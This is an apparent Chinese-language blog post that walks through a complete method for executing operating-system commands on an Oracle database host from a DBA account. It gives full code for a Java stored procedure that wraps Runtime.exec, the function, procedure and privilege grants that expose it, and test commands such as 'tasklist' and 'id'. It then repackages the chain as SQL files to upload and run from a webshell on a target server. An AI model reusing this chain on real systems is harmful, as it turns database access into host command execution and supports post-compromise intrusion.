Oracle iSQL Plus/sqlplus执行系统命令的方法

作者: RedFree 分类: Oracle, 经验积累 发布时间: 2016-10-06 21:02 ė139 次访问 6没有评论

Oracle安装后若开放5560端口,则可以利用此端口从Web界面登录。若拥有dba权限的数据库账户,则可使用这个Web后台执行系统命令。如图:

1.png

执行命令的步骤如下:

1、创建Java

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;

public class util extends Object
{
    public static int RunThis(String args)
    {
        Runtime rt = Runtime.getRuntime();
        int RC = -1;
        try
        {
            Process p = rt.exec(args);
            int bufSize = 4096;
            BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
            int len;
            byte buffer[] = new byte[bufSize];
            while ((len = bis.read(buffer, 0, bufSize)) != -1)
                System.out.write(buffer, 0, len);
                RC = p.waitFor();
        }
        catch (Exception e)
        {
            e.printStackTrace();
            RC = -1;
        }
        finally
        {
            return RC;
        }
    }
}

2.png

2、创建函数

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

3.png

3、创建过程

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

4.png

4、执行命令(注意:system替换为你当前登录的数据库dba账户名

variable x number;
set define off;
set serveroutput on;
exec dbms_java.set_output(100000);

grant javasyspriv to system;
grant javauserpriv to system;

exec :x:=run_cmz('tasklist');

5.png

若是在Webshell下无法交互且系统自带了sqlplus命令,则可以通过sql文件来完成上述过程。将以上sql保存为4个sql文件(注意修改账户密码等信息):

1.sql

conn system/password@orcl

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
 
public class util extends Object
{
    public static int RunThis(String args)
    {
        Runtime rt = Runtime.getRuntime();
        int RC = -1;
        try
        {
            Process p = rt.exec(args);
            int bufSize = 4096;
            BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
            int len;
            byte buffer[] = new byte[bufSize];
            while ((len = bis.read(buffer, 0, bufSize)) != -1)
                System.out.write(buffer, 0, len);
                RC = p.waitFor();
        }
        catch (Exception e)
        {
            e.printStackTrace();
            RC = -1;
        }
        finally
        {
            return RC;
        }
    }
}

2.sql

conn system/password@orcl

create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

3.sql

conn system/password@orcl

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;

4.sql

conn system/password@orcl

variable x number;
set define off;
set serveroutput on;
exec dbms_java.set_output(100000);
 
grant javasyspriv to system;
grant javauserpriv to system;
 
exec :x:=run_cmz('id');

将以上4个sql上传到目标webshell所在服务器,依次执行以下4条命令:

sqlplus /nolog @"1.sql"
sqlplus /nolog @"2.sql"
sqlplus /nolog @"3.sql"
sqlplus /nolog @"4.sql"

如图,已获取到id命令的结果:

5.png

本文出自 RedFree's Blog,转载时请注明出处及相应链接。

本文永久链接: http://py4.me/blog/?p=220

发表评论

电子邮件地址不会被公开。

Ɣ回顶部